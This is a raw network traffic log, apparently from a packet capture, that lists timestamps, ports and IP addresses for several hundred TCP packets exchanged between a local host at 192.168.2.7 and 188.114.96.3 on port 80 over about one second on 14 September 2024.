Sep 14, 2024 18:44:27.113082886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113097906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113099098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113111973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113132000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113136053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113152981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113157034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113169909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113184929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113192081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113200903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113215923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113221884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113239050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113249063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113255978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113270998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113286018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113300085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113301039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113316059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113326073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113332033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113347054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113353968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113363028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113377094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113384008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113384962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113393068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113400936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113409042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113415956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113472939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.173239946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173402071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173417091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173432112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173445940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173444986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.173463106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173480034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173526049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.173557043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.173558950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.173600912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.195979118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196008921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196058035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196090937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196122885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196156025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196156025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196187019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196192980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196208954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196228981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196260929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196278095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196295023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196329117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196341991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196553946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196585894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196614981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196618080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196647882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196665049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196702957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196753025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196759939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196794987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196827888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196842909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196878910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196911097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196927071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.196943998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196974993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.196988106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197026014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197058916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197071075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197093010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197130919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197144032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197163105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197196007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197206974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197231054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197274923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197352886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197385073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197417021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197429895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197468042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197501898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197520018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197535992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197568893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197585106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197609901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197639942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197690010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197699070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197724104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197756052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197787046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197787046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197799921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197810888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197825909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197848082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.197887897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.197928905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198120117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198134899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198149920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198163033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198177099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198200941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198219061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198240042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198255062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198282003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198314905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198396921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198412895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198426008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198440075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198455095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198470116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198512077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198522091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198537111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198549986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198561907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198590994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198640108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198654890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198668957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198682070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198782921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198791027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198796034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198812008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198827982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198841095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198843002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198870897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198936939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198952913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198966980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198977947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.198982000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.198997974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199110985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199126959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199143887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199153900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199183941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199407101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199421883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199434996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199446917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199461937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199476957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199490070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199503899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199518919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199533939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199553013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199557066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199572086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199579000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199616909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199742079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199755907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199769974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199790955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199793100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199809074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199824095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199831963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199840069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199855089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199863911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199872017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199886084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199892998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199920893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199923038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199935913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199950933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199965000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.199975967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.199980021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200000048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.200129986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200144053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200159073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200172901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200189114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200203896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200258017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.200277090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.200378895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.200505972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.259268999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259299994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259331942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259366035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259419918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259452105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259485006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259491920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.259519100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.259525061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.259567976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.282859087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.282908916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.282946110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283000946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283035040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283067942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283092976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283101082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283123970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283154964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283186913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283200979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283224106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283255100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283262968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283293962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283325911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283340931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283360004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283402920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283421040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283469915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283503056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283515930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283535004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283565044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283571005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283615112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283648014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283657074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283680916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283711910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283719063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283745050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283776999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283782005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283808947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283843040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283848047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283876896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283915997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.283926964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.283960104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284003973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284013987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284054041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284084082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284095049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284116983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284148932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284153938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284183025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284216881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284221888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284250975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284282923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284286022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284317017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284349918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284354925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284384966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284418106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284424067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284452915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284487963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284497023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284784079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284867048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.284944057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.284980059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285012960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285082102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285106897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285149097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285150051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285186052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285226107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285267115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285299063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285331011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285341978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285362959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285398960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285412073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285444021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285479069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285501003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285511017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285547972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285552025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285598993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285630941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285639048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285660982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285692930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285701036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285742044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285775900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285782099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285808086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285840988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285851955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285872936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285904884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285913944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.285938025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285972118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.285974026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286036968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286068916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286079884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286102057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286130905 CEST	80	54891	188.114.96.3	192.168.2.7
